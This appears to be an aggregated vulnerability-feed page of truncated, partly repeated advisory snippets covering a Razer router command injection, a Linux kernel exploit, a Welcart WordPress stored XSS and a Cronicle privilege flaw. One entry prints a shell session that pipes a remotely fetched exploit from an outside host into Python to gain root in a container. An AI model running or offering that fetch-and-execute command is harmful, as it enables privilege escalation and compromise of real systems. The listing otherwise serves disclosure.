Razer Sila Gaming Router - Remote Code Execution

A command injection in the command parameter of Razer Sila Gaming Router v2.0.441api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request. id: CVE-2022-29013 info: name: Razer Sila Gaming Router - Remote Code Execution author: DhiyaneshDK severity: critical descriptio...

kernel-exploits

Kernel Exploits Various kernel exploits CVE-2021-22555 Linux local root exploit. Updated version of theflow's exploit for CVE-2021-22555. A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/xtables.c. This allows an attacker to gain privileges or cause a D...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d5j / id uid=0ro...

CVE-2026-118070

The Welcart e-Commerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gid' parameter in all versions up to, and including, 2.12.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web...

CVE-2026-118070 Welcart e-Commerce <= 2.12.5 - Unauthenticated Stored Cross-Site Scripting via 'gid' Parameter

The Welcart e-Commerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gid' parameter in all versions up to, and including, 2.12.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web...

EUVD-2026-114609

The Welcart e-Commerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gid' parameter in all versions up to, and including, 2.12.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web...

CVE-2026-118070

The Welcart e-Commerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 2.12.5 . The root cause is insufficient input sanitization and output escaping of the 'gid' parameter . An unauthenticated attacker can forge a ROBOT PAYMENT browser-retu...

CVE-2026-118070 Welcart e-Commerce <= 2.12.5 - Unauthenticated Stored Cross-Site Scripting via 'gid' Parameter

The Welcart e-Commerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gid' parameter in all versions up to, and including, 2.12.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web...

CVE-2026-118070: uscnanbu Welcart e-Commerce: The Welcart e-Commerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gid' parameter in all…

The Welcart e-Commerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gid' parameter in all versions up to, and including, 2.12.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web...

CVE-2024-40635_POC

CVE-2024-40635POC Proof of Concept code for proving CVE-2024-40635 vulnerability Data gathered from here: https://nvd.nist.gov/vuln/detail/CVE-2024-40635 1. Importing the Docker Library import docker This imports the Python docker library, which allows interaction with Docker using its API. If...

PT-2026-134453

Name of the Vulnerable Software and Affected Versions Welcart e-Commerce plugin for WordPress versions prior to 2.12.6 Description Insufficient input sanitization and output escaping allow unauthenticated attackers to perform Stored Cross-Site Scripting. An attacker can forge a ROBOT PAYMENT...

Exploit for CVE-2026-98260

CVE-2026-98260 · Xiaomi 15 dada Android 17 port A tempora...

CVE-2026-58255

Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.121, a non-administrator user or scoped API key with createevents and runevents privileges can inject top-level uid and gid fields through /api/app/createevent or /api/app/updateevent. In lib/api.js,...

CVE-2026-58255 Cronicle: Non-admin uid/gid injection in create_event/update_event → run-as-arbitrary-user (incl. root) — sibling of CVE-2026-39401

Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.121, a non-administrator user or scoped API key with createevents and runevents privileges can inject top-level uid and gid fields through /api/app/createevent or /api/app/updateevent. In lib/api.js,...

CVE-2026-58255 Cronicle: Non-admin uid/gid injection in create_event/update_event → run-as-arbitrary-user (incl. root) — sibling of CVE-2026-39401

Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.121, a non-administrator user or scoped API key with createevents and runevents privileges can inject top-level uid and gid fields through /api/app/createevent or /api/app/updateevent. In lib/api.js,...

CVE-2026-58255

The Cronicle multi-server task scheduler and runner (prior to version 0.9.121 ) contains a vulnerability allowing non-administrator users or scoped API keys with create_events and run_events privileges to inject top-level uid and gid fields. This occurs because lib/api.js uses validateOptionalPar...

CVE-2026-58255 Cronicle: Non-admin uid/gid injection in create_event/update_event → run-as-arbitrary-user (incl. root) — sibling of CVE-2026-39401

Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.121, a non-administrator user or scoped API key with createevents and runevents privileges can inject top-level uid and gid fields through /api/app/createevent or /api/app/updateevent. In lib/api.js,...

EUVD-2026-111408

Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.121, a non-administrator user or scoped API key with createevents and runevents privileges can inject top-level uid and gid fields through /api/app/createevent or /api/app/updateevent. In lib/api.js,...

CVE-2026-58255

Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.121, a non-administrator user or scoped API key with "createevents" and "runevents" privileges can inject top-level "uid" and "gid" fields through "/api/app/createevent" or "/api/app/updateevent". In...

PT-2026-127252

Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.121, a non-administrator user or scoped API key with create events and run events privileges can inject top-level uid and gid fields through /api/app/create event or /api/app/update event. In...